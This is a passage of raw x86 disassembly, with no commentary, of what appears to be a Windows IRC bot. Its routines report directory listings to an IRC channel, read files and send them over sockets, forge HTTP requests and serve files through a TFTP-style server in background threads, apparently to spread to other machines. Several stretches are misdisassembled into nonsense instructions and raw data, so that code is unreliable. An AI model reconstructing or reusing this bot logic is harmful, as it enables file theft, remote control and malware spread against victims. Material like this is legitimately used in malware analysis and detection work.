		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		jmp	short loc_403D3F
; ---------------------------------------------------------------------------


loc_403D7E:				; CODE XREF: sub_403906+454j
		cmp	[ebp+arg_C], ebx
		jz	loc_403E7E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41099A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42FA68
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_2	; "%s%s"
		push	edi
		push	eax
		call	sub_41099A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42FA68
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_410A70
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_403E1E
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_403E23
; ---------------------------------------------------------------------------


loc_403E1E:				; CODE XREF: sub_403906+50Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"


loc_403E23:				; CODE XREF: sub_403906+516j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41099A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42FA68
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41099A
		add	esp, 1Ch
		jmp	short loc_403EA4
; ---------------------------------------------------------------------------


loc_403E7E:				; CODE XREF: sub_403906+47Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"
		push	esi


loc_403E95:				; CODE XREF: sub_403906+407j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41099A
		add	esp, 18h


loc_403EA4:				; CODE XREF: sub_403906+31Dj
					; sub_403906+449j ...
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42FA68
		cmp	[ebp+arg_8], ebx
		jz	short loc_403ED3
		push	7D0h
		call	ds:dword_41C050	; Sleep


loc_403ED3:				; CODE XREF: sub_403906+226j
					; sub_403906+241j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_41C084	; FindNextFileA
		test	eax, eax
		jnz	loc_403B26


loc_403EEB:				; CODE XREF: sub_403906+215j
		push	[ebp+arg_0]
		call	near ptr 0A70000h
		fistp	qword ptr [ecx]
		pop	ebp
		adc	[ebp+esi+var_75], dh
		inc	ebp
		clc
		cdq
		push	edx
		push	eax
		call	sub_408306
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_408306
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_4104AF
		add	esp, 14h
		jmp	short loc_403F62
; ---------------------------------------------------------------------------
		cmp	[ebp+arg_C], ebx
		jz	short loc_403F48
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx
		jmp	short loc_403F62
; ---------------------------------------------------------------------------


loc_403F48:				; CODE XREF: sub_403906+62Bj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_4104AF
		add	esp, 10h


loc_403F62:				; CODE XREF: sub_403906+626j
					; sub_403906+640j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42FA68
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_403906	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F88	proc near		; CODE XREF: sub_4034D4+13Bp

var_4037C	= byte ptr -4037Ch
var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	ds:dword_41C070	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_404040
		push	esi
		push	ebx
		call	near ptr 0A70000h
		xchg	edi, [ebx]
		mov	byte ptr [ecx+6C740C45h], 68h ;	CODE XREF: sub_403F88+AFj
		add	[eax+eax], al
		add	[ebp-4037Bh], cl
		call	dword ptr [esi+50h]
		call	sub_410870
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]
		jbe	short loc_403FEA
		mov	edi, [ebp+arg_4]


loc_403FEA:				; CODE XREF: sub_403F88+5Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		call	ds:dword_41C090	; SetFilePointer
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		call	ds:dword_41C08C	; ReadFile
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_42FA68
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404034
		call	ds:dword_42F9AC
		cmp	eax, 2733h
		jnz	short loc_404039
		xor	eax, eax


loc_404034:				; CODE XREF: sub_403F88+9Bj
		sub	[ebp+arg_4], eax
		jnz	short near ptr loc_403FC7+6


loc_404039:				; CODE XREF: sub_403F88+A8j
		push	ebx
		call	ds:dword_41C068	; CloseHandle


loc_404040:				; CODE XREF: sub_403F88+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403F88	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404045	proc near		; CODE XREF: sub_403656+17Cp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_410A70
		test	eax, eax
		pop	ecx
		jbe	short loc_40406E


loc_404058:				; CODE XREF: sub_404045+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_404062
		mov	byte ptr [esi+edi], 2Fh


loc_404062:				; CODE XREF: sub_404045+17j
		push	edi
		inc	esi
		call	sub_410A70
		cmp	esi, eax
		pop	ecx
		jb	short loc_404058


loc_40406E:				; CODE XREF: sub_404045+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_404045	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404073	proc near		; CODE XREF: seg000:0040B29Bp

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	ds:dword_42F990
		push	6
		push	1
		push	2
		call	ds:dword_42FA98
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_410870
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	ds:dword_42FA18
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_406BC9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_42F9C0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_404150
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_4040EC
		mov	eax, offset byte_42E658


loc_4040EC:				; CODE XREF: sub_404073+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41099A
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	ds:dword_42FA68
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_410510
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	ds:dword_42FA30
		pop	esi


loc_404150:				; CODE XREF: sub_404073+6Bj
		push	ebx
		call	ds:dword_42FAB0
		call	ds:dword_42F978
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_4104AF
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_404190
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_404190:				; CODE XREF: sub_404073+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_404073	endp

; ---------------------------------------------------------------------------


loc_404194:				; CODE XREF: seg000:loc_40467Fp
					; DATA XREF: seg000:004048D3o ...
		push	ebp
		mov	ebp, esp
		sub	esp, 884h
		push	ebx
		push	esi
		push	edi
		mov	edx, [ebp+8]
		mov	esi, offset aOctet ; "octet"
		lea	edi, [ebp-1Ch]
		movsd
		push	1
		xor	ebx, ebx
		movsw
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp-37Ch]
		push	ebx
		push	2
		rep movsd
		inc	dword ptr [ebp-16Ch]
		push	2
		mov	[ebp-0Ch], eax
		mov	[edx+2A0h], eax
		call	ds:dword_42FA98
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-10h], edi
		jnz	short near ptr loc_404256+1
		push	190h
		call	ds:dword_41C050	; Sleep
		call	ds:dword_42F9AC
		push	eax
		lea	eax, [ebp-780h]
		push	offset unk_41F210
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		cmp	[ebp-0E0h], ebx
		jnz	short loc_404237
		push	ebx
		lea	eax, [ebp-780h]
		push	dword ptr [ebp-0E4h]
		push	eax
		lea	eax, [ebp-164h]
		push	eax
		push	dword ptr [ebp-37Ch]
		call	sub_40DFB2
		add	esp, 14h


loc_404237:				; CODE XREF: seg000:00404212j
		lea	eax, [ebp-780h]
		push	eax
		call	sub_407AB1
		push	dword ptr [ebp-170h]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 0A70000h


loc_404256:				; CODE XREF: seg000:004041E4j
		bound	ecx, [ebx-16F7Bh]
		jmp	fword ptr [edx+10h]
; ---------------------------------------------------------------------------
		imul	eax, 234h
		push	ebx
		mov	ds:dword_434BB4[eax], edi
		lea	eax, [ebp-44h]
		push	eax
		call	sub_410870
		add	esp, 0Ch
		mov	word ptr [ebp-44h], 2
		push	dword ptr [ebp-168h]
		call	ds:dword_42FA18
		mov	[ebp-42h], ax
		lea	eax, [ebp-44h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-40h], ebx
		call	ds:dword_42FA44
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4042BC
		push	1388h
		call	ds:dword_41C050	; Sleep
		dec	dword ptr [ebp-16Ch]
		push	dword ptr [ebp+8]
		jmp	loc_40467F
; ---------------------------------------------------------------------------


loc_4042BC:				; CODE XREF: seg000:004042A1j
		lea	eax, [ebp-378h]
		push	offset aRb	; "rb"
		push	eax
		call	sub_411AB2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-8], eax
		jnz	short near ptr loc_404339+1
		push	190h
		call	ds:dword_41C050	; Sleep
		lea	eax, [ebp-378h]
		push	eax
		lea	eax, [ebp-780h]
		push	offset unk_41F1C0
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-780h]
		push	dword ptr [ebp-0E4h]
		push	eax
		lea	eax, [ebp-164h]
		push	eax
		push	dword ptr [ebp-37Ch]
		call	sub_40DFB2
		lea	eax, [ebp-780h]
		push	eax
		call	sub_407AB1
		push	dword ptr [ebp-170h]
		call	sub_410277
		add	esp, 28h
		push	ebx
		call	near ptr 0A70000h


loc_404339:				; CODE XREF: seg000:004042D4j
		call	loc_4243FC
		add	[ebx-67C6F7BBh], cl ; CODE XREF: seg000:00404639j
		mov	al, ds:0F000002h
		test	dh, cl
		add	al, [eax]
		add	[ecx-87F43h], cl
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------
		mov	edi, 80h
		push	edi
		lea	eax, [ebp-0D8h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-34h], 5
		mov	dword ptr [ebp-30h], 1388h
		mov	dword ptr [ebp-884h], 1
		call	sub_410870
		add	esp, 0Ch
		lea	eax, [ebp-34h]
		push	eax
		push	ebx
		lea	eax, [ebp-884h]
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_42FA00
		test	eax, eax
		jle	loc_404633
		mov	al, ds:byte_42E658
		mov	ecx, edi
		mov	[ebp-580h], al
		xor	eax, eax
		lea	edi, [ebp-57Fh]
		mov	dword ptr [ebp-4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp-10h]
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		lea	eax, [ebp-0D8h]
		push	80h
		push	eax
		push	edi
		call	ds:dword_42F9F0
		push	dword ptr [ebp-28h]
		mov	[ebp-0Ch], eax
		call	ds:dword_42FAA4
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		call	sub_4104AF
		cmp	[ebp-0D8h], bl
		pop	ecx
		pop	ecx
		jnz	loc_40461D
		cmp	byte ptr [ebp-0D7h], 1
		jnz	loc_404569
		lea	eax, [ebp-274h]
		push	eax
		call	sub_410A70
		lea	eax, [ebp+eax-0D5h]
		mov	[ebp-14h], eax
		lea	eax, [ebp-274h]
		push	eax
		call	sub_410A70
		push	eax
		lea	eax, [ebp-0D6h]
		push	eax
		lea	eax, [ebp-274h]
		push	eax
		call	sub_411E20
		add	esp, 14h
		test	eax, eax
		jnz	loc_404523
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_410A70
		push	eax
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp-14h]
		push	eax
		call	sub_411E20
		add	esp, 10h
		test	eax, eax
		jnz	loc_404523
		push	ebx
		push	ebx
		push	dword ptr [ebp-8]
		call	sub_411D8E
		push	dword ptr [ebp-8]
		lea	eax, [ebp-57Ch]
		mov	[ebp-580h], bl
		mov	byte ptr [ebp-57Fh], 3
		push	esi
		push	1
		push	eax
		mov	[ebp-57Eh], bl
		mov	byte ptr [ebp-57Dh], 1
		call	sub_4119AA
		add	esp, 1Ch
		lea	ecx, [ebp-2Ch]
		mov	[ebp-0Ch], eax
		add	eax, 4
		push	dword ptr [ebp-4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp-580h]
		push	eax
		push	edi
		call	ds:dword_42FA7C
		lea	eax, [ebp-378h]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		push	offset unk_41F16C


loc_4044D7:				; CODE XREF: seg000:00404618j
		lea	eax, [ebp-780h]
		push	eax
		call	sub_4104AF
		add	esp, 10h
		cmp	[ebp-0E0h], ebx
		jnz	short loc_404511
		push	ebx
		lea	eax, [ebp-780h]
		push	dword ptr [ebp-0E4h]
		push	eax
		lea	eax, [ebp-164h]
		push	eax
		push	dword ptr [ebp-37Ch]
		call	sub_40DFB2
		add	esp, 14h


loc_404511:				; CODE XREF: seg000:004044ECj
		lea	eax, [ebp-780h]
		push	eax
		call	sub_407AB1
		pop	ecx
		jmp	loc_404633
; ---------------------------------------------------------------------------


loc_404523:				; CODE XREF: seg000:0040444Aj
					; seg000:0040446Bj
		push	dword ptr [ebp-4]
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		push	13h
		push	offset dword_41F158
		push	edi
		call	ds:dword_42FA7C
		lea	eax, [ebp-274h]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		lea	eax, [ebp-0D8h]
		push	offset unk_41F11C
		push	eax
		call	sub_4104AF
		lea	eax, [ebp-0D8h]
		push	eax
		call	sub_407AB1
		add	esp, 14h
		jmp	loc_404633
; ---------------------------------------------------------------------------


loc_404569:				; CODE XREF: seg000:00404409j
		cmp	byte ptr [ebp-0D7h], 4
		jnz	loc_40461D
		mov	cl, [ebp-0D5h]
		mov	al, [ebp-0D6h]
		cmp	cl, 0FFh
		mov	[ebp-580h], bl
		mov	byte ptr [ebp-57Fh], 3
		jnz	short loc_4045A6
		inc	al
		xor	cl, cl
		mov	[ebp-57Eh], al
		mov	[ebp-57Dh], bl
		jmp	short loc_4045B4
; ---------------------------------------------------------------------------


loc_4045A6:				; CODE XREF: seg000:00404592j
		inc	cl
		mov	[ebp-57Eh], al
		mov	[ebp-57Dh], cl


loc_4045B4:				; CODE XREF: seg000:004045A4j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	dword ptr [ebp-8]
		call	sub_411D8E
		push	dword ptr [ebp-8]
		lea	eax, [ebp-57Ch]
		push	esi
		push	1
		push	eax
		call	sub_4119AA
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp-2Ch]
		mov	[ebp-0Ch], edi
		push	dword ptr [ebp-4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp-580h]
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_42FA7C
		cmp	edi, ebx
		jnz	short loc_404633
		lea	eax, [ebp-378h]
		push	eax
		lea	eax, [ebp-58h]
		push	eax
		push	offset dword_41F0CC
		jmp	loc_4044D7
; ---------------------------------------------------------------------------


loc_40461D:				; CODE XREF: seg000:004043FCj
					; seg000:00404570j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		push	9
		push	offset dword_41F0C0
		push	edi
		call	ds:dword_42FA7C


loc_404633:				; CODE XREF: seg000:00404398j
					; seg000:0040451Ej ...
		cmp	[ebp-0Ch], ebx
		mov	edi, [ebp-10h]
		jg	near ptr loc_40433E+1
		push	edi
		call	ds:dword_42FAB0
		push	dword ptr [ebp-8]
		call	sub_411954
		mov	esi, [ebp+8]
		dec	dword ptr [ebp-16Ch]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_404673
		push	dword ptr [ebp-170h]
		call	sub_410277
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		pop	eax


loc_404673:				; CODE XREF: seg000:0040465Ej
		push	3E8h
		call	ds:dword_41C050	; Sleep
		push	esi


loc_40467F:				; CODE XREF: seg000:004042B7j
		call	loc_404194
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40468B	proc near		; CODE XREF: seg000:0040DB1Ep

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_41F35C
		push	eax
		xor	ebx, ebx
		call	sub_4104AF
		cmp	ds:dword_41F288, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_4046F9
		push	esi
		mov	esi, offset dword_41F290


loc_4046BE:				; CODE XREF: sub_40468B+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4104AF
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_411E60
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_4046BE
		pop	esi


loc_4046F9:				; CODE XREF: sub_40468B+2Bj
		push	ds:dword_45DE98
		call	sub_407520
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4104AF
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_411E60
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407AB1
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_40468B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404755	proc near		; CODE XREF: seg000:0040D498p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_4101A3
		test	eax, eax
		pop	ecx
		jle	short loc_404791
		mov	eax, [ebp+arg_C]
		push	ds:dword_42E668[eax*8]
		call	ds:dword_42FAA4
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_41F3C8
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		jmp	short loc_4047A4
; ---------------------------------------------------------------------------


loc_404791:				; CODE XREF: sub_404755+13j
		lea	eax, [ebp+var_200]
		push	offset unk_41F394
		push	eax
		call	sub_4104AF
		pop	ecx
		pop	ecx


loc_4047A4:				; CODE XREF: sub_404755+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407AB1
		add	esp, 18h
		leave
		retn
sub_404755	endp

; ---------------------------------------------------------------------------


loc_4047CC:				; CODE XREF: sub_404EF5+4Fp
		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+138h]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_404B5C
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	ds:dword_41F294[eax], ebx
		jz	loc_404A3D
		push	4
		call	sub_4101A3
		test	eax, eax
		pop	ecx
		jnz	loc_404B5C
		mov	eax, ds:dword_422488
		push	edi
		mov	edi, offset dword_42EFE4
		push	104h
		push	edi
		push	ebx
		mov	ds:dword_42F1F4, eax
		mov	ds:dword_42F1F0, ebx
		call	near ptr 0A70000h
		adc	ch, [eax+3]
		add	[eax], eax
		add	ds:byte_42F0E8[esi], bh
		push	offset byte_4224F4
		push	esi
		call	sub_411C90
		mov	eax, [ebp+118h]
		add	esp, 0Ch
		cmp	[ebp+98h], bl
		mov	ds:dword_42EFE0, eax
		mov	eax, [ebp+140h]
		push	7Fh
		mov	ds:dword_42F278, eax
		jnz	short loc_40487F
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_42F1F8
		call	sub_411C90
		add	esp, 0Ch
		mov	ds:dword_42F27C, 1
		jmp	short loc_404899
; ---------------------------------------------------------------------------


loc_40487F:				; CODE XREF: seg000:00404860j
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_42F1F8
		call	sub_411C90
		add	esp, 0Ch
		mov	ds:dword_42F27C, ebx


loc_404899:				; CODE XREF: seg000:0040487Dj
		push	esi
		push	edi
		push	ds:dword_42F1F4
		lea	eax, [ebp-204h]
		push	offset unk_41F574
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-204h]
		push	4
		push	eax
		call	sub_40FF5B
		add	esp, 20h
		mov	ds:dword_42F1EC, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_42EFE0
		push	offset loc_404194
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, ds:dword_42F1EC
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_404908


loc_4048F6:				; CODE XREF: seg000:00404906j
		cmp	ds:dword_42F280, ebx
		jnz	short loc_404923
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_4048F6
; ---------------------------------------------------------------------------


loc_404908:				; CODE XREF: seg000:004048F4j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_41F52C
		push	eax
		call	sub_4104AF
		add	esp, 0Ch


loc_404923:				; CODE XREF: seg000:004048FCj
		lea	eax, [ebp-204h]
		push	eax
		call	sub_407AB1
		mov	edi, offset dword_42F63C
		mov	dword ptr [esp], 104h
		push	edi
		push	ebx
		mov	ds:dword_42F848, ebx
		call	near ptr 0A70000h
		jz	short loc_4049B2
		add	eax, [ecx]
; ---------------------------------------------------------------------------
		dd 40BE0000h, 680042F7h, 4224F4h, 0D332E856h, 858B0000h
		dd 118h, 380CC483h, 989Dh, 0F638A300h, 858B0042h, 140h
		dd 0D0A37F6Ah, 750042F8h, 18458D1Dh, 0F8506850h, 1E80042h
		dd 830000D3h, 5C70CC4h,	42F8D4h, 1, 858D1AEBh, 98h, 0F8506850h
		dd 0E1E80042h, 830000D2h
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_4049B2:				; CODE XREF: seg000:00404948j
		mov	ds:dword_42F8D4, ebx
		push	esi
		push	edi
		push	ds:dword_42F84C
		lea	eax, [ebp-204h]
		push	offset dword_41F4D8
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-204h]
		push	5
		push	eax
		call	sub_40FF5B
		add	esp, 20h
		mov	ds:dword_42F844, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_42F638
		push	offset sub_40295F
		push	ebx
		push	ebx
		call	ds:dword_41C064	; CreateThread
		mov	ecx, ds:dword_42F844
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_404A2C


loc_404A16:				; CODE XREF: seg000:00404A2Aj
		cmp	ds:dword_42F8D8, ebx
		jnz	loc_404B4F
		push	32h
		call	ds:dword_41C050	; Sleep
		jmp	short loc_404A16
; ---------------------------------------------------------------------------


loc_404A2C:				; CODE XREF: seg000:00404A14j
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_41F494
		jmp	loc_404B40
; ---------------------------------------------------------------------------


loc_404A3D:				; CODE XREF: seg000:004047F1j
		cmp	ds:dword_41F298[eax], ebx
		jz	loc_404B5C
		push	3
		call	sub_4101A3
		test	eax, eax
		pop	ecx
		jnz	loc_404B5C
		mov	esi, offset dword_42F514
		push	104h
		push	esi
		push	ebx
		call	near ptr 0A70000h
		pop	ebp
		push	5Ch
		push	esi
		call	sub_411F90
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_404A7B
		mov	[eax], bl


loc_404A7B:				; CODE XREF: seg000:00404A77j
		mov	eax, ds:dword_42248C
		mov	ds:dword_42F62C, ebx
		mov	ds:dword_42F618, eax
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_42F28C
		call	sub_4104AF
		mov	eax, [ebp+118h]
		pop	ecx
		pop	ecx
		mov	ds:dword_42F288, eax
		mov	ecx, [ebp+140h]
		push	esi
		push	ds:dword_42F618
		mov	ds:dword_42F624, ecx
		mov	ecx, [ebp+144h]
		push	eax
		mov	ds:dword_42F628, ecx
		call	sub_406CDF
		pop	ecx
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_41F444
		push	eax
		call	sub_4104AF
		push	ebx
		lea	eax, [ebp-204h]
		push	3
		push	eax
		call	sub_40FF5B
		add	esp, 20h
		mov	ds:dword_42F620, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_42F288
		push	offset sub_403079
		push	ebx
		push	ebx
